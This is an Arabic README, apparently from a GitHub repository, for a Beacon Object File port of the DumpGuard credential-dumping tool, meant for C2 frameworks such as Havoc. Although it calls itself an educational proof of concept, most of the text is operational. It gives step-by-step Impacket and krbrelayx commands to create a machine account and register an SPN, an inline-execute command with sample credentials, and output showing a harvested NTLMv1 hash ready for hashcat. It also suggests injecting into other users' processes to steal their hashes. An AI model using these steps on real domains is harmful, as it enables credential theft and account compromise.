
نسخة Beacon Object File (BOF) من DumpGuard لاستخراج تجزئات NTLMv1 من الجلسات على أنظمة Windows الحديثة.
نسخة Beacon Object File (BOF) من أداة DumpGuard لاستخراج تجزئات NTLMv1 من الجلسات على أنظمة Windows الحديثة.

يحتوي هذا المستودع على تنفيذ Beacon Object File (BOF) لأداة DumpGuard، وهو منقول من التنفيذ الأصلي بلغة C#/.NET إلى لغة C خالصة للاستخدام مع Havoc وأُطر عمل C2 الأخرى التي تدعم تنفيذ BOF.
هذا إثبات مفهوم (PoC) وتمرين تعليمي.
تم إنشاء منفذ BOF هذا كجزء من رحلتي الشخصية لفهم تفاصيل بروتوكول Remote Credential Guard، وتدفقات مصادقة Kerberos، وآليات أمان Windows الأساسية. وكانت عملية نقل هذه الأداة من C# إلى C خالصة لتنفيذ BOF مسعى تعليميًا في المقام الأول.
يرجى الانتباه إلى أن:
إذا وجدت مشكلات أو لديك تحسينات، فالمساهمات مرحب بها. للحصول على تنفيذ قوي ومختبر جيدًا، يُرجى الرجوع إلى أداة DumpGuard الأصلية.
يستند هذا BOF إلى البحث والأدوات التي أعدها @bytewreck في SpecterOps:
تستغل أداة DumpGuard ميزة Windows Remote Credential Guard (RCG) لاستخراج تجزئات NTLMv1 من المستخدمين المسجلين دون لمس ذاكرة LSASS ودون الحاجة إلى صلاحيات المسؤول. وهي تعمل حتى عندما يكون Credential Guard مفعّلاً.
TSRemoteGuardCreds.بعد الجولة الرابعة، نحصل على كتلة بيانات الاعتماد المشفرة. يحدث السحر عندما نستدعي LsaCallAuthenticationPackage مع حزمة TSSSP. تقوم LSA بتوجيه طلبنا عبر RDPEAR -> TSRemoteGuard -> MSV1_0، التي تفك تشفير الأسرار وتحسب استجابة NTLMv1 لنا.
يعزل Credential Guard أسرار NTLM وKerberos في مساحة VBS آمنة (LsaIso.exe)، مما يمنع هجمات الوصول المباشر إلى الذاكرة مثل Mimikatz. ومع ذلك، لا يزال Credential Guard بحاجة إلى استخدام تلك الأسرار للمصادقة المشروعة. هذه هي الواجهة التي تستغلها هذه التقنية.
للغوص الفني الكامل، راجع: Catching Credential Guard Off Guard
ينفّذ منفذ BOF هذا وضع "Self" فقط من أداة DumpGuard الأصلية. أوضاع "All" غير منفّذة في هذا الإصدار.
يستخرج تجزئة NTLMv1 لمستخدم العملية الحالية عبر بروتوكول Remote Credential Guard.
بينما ينفّذ هذا BOF وضع "self" فقط، لا يزال بإمكانك استخراج تجزئات NTLMv1 للمستخدمين الآخرين عن طريق، على سبيل المثال، الحقن في عملية تعمل باسم ذلك المستخدم. على سبيل المثال، إذا كانت لديك صلاحيات المسؤول، يمكنك حقن BOF في عملية يملكها مستخدم آخر مسجّل للحصول على تجزئته.
تتطلب هذه التقنية بيانات اعتماد لحساب لديه اسم خدمة رئيسي (SPN) مسجّل. إحدى الطرق لتحقيق ذلك هي إنشاء حساب جهاز وإضافة SPN إليه.
باستخدام Impacket:
python3 addcomputer.py -computer-name 'YOURCOMPUTER$' domain.local/user:password -dc-ip <DC_IP>
مثال على المخرجات:
[*] Successfully added machine account YOURCOMPUTER$ with password <random_password>.
باستخدام krbrelayx addspn.py:
python3 addspn.py -u domain.local\\YOURCOMPUTER\$ -p '<password>' -s host/yourspn.domain.local --target-type samname <DC_IP>
باستخدام pywerview:
python3 pywerview.py get-adobject -d domain.local -u YOURCOMPUTER\$ -p '<password>' -t <DC_IP> --sam-account-name YOURCOMPUTER\$
ابحث عن serviceprincipalname: host/yourspn.domain.local في المخرجات.
inline-execute /path/to/dumpguard.x64.o x <domain> <username> <password> <spn>
ملاحظة: المعامل
xهو وسيط نائب/وهمي مطلوب قبل اسم المجال. قد تتم معالجة هذا في الإصدارات المستقبلية (إن وُجدت).
مثال:
inline-execute /tmp/dumpguard.x64.o x sevenkingdoms.local EVIL_COMPUTER$ MXj070PQpCkNmZiYsRbIu8YYwgDKPD2r host/EVILSPN.sevenkingdoms.local
مثال على المخرجات:
[DG] Domain: sevenkingdoms.local
[DG] User: EVIL_COMPUTER$
[DG] SPN: host/EVILSPN.sevenkingdoms.local
[DG] checkpoint 1: init APIs
[DG] SSPI init OK
[DG] checkpoint 2: acquire creds
[DG] checkpoint 3: starting SSPI loop
[DG] Round 1
[DG] AS-REQ: LTK derived, etype=18 len=32
[DG] AS-REQ: sending to KDC...
[DG] Round 2
[DG] Round 3
[DG] NTLMv1: SEVENKINGDOMS\EVIL_COMPUTER$::GOAD-WIN2025::6D270E39AD2DE48B561895C3257D7123FE84F1438B147E2A:1122334455667788
مهم: تنتمي تجزئة NTLMv1 المستخرجة إلى المستخدم الذي يشغّل عملية BOF، وليس حساب الجهاز المستخدم للمصادقة (
EVIL_COMPUTER$). تُستخدم بيانات اعتماد حساب الجهاز فقط للمصادقة على KDC وإنشاء جلسة Remote Credential Guard.
يكون المخرج بتنسيق NTLMv1 المتوافق مع hashcat:
DOMAIN\user::HOSTNAME::NTRESPONSE:CHALLENGE
make clean && make
المخرج: build/dumpguard.x64.o
ترخيص BSD 3-Clause
الأداة الأصلية DumpGuard مرخصة بموجب ترخيص BSD 3-Clause، حقوق الطبع والنشر (c) 2025 Valdemar Carøe. يحافظ منفذ BOF هذا على نفس شروط الترخيص.
للاستفسارات أو تقارير الأخطاء أو المساهمات، يُرجى فتح مشكلة (issue) على GitHub.
| Round | Client -> Server | Server -> Client |
|---|
| 1 | SPNEGO + TGT-REQ | TGT-REPLY (from real KDC) |
| 2 | AP-REQ (service ticket) | AP-REP + MIC |
| 3 | PubKeyAuth (binding hash) | Server binding hash |
| 4 | AuthInfo (TSRemoteGuardCreds) | N/A |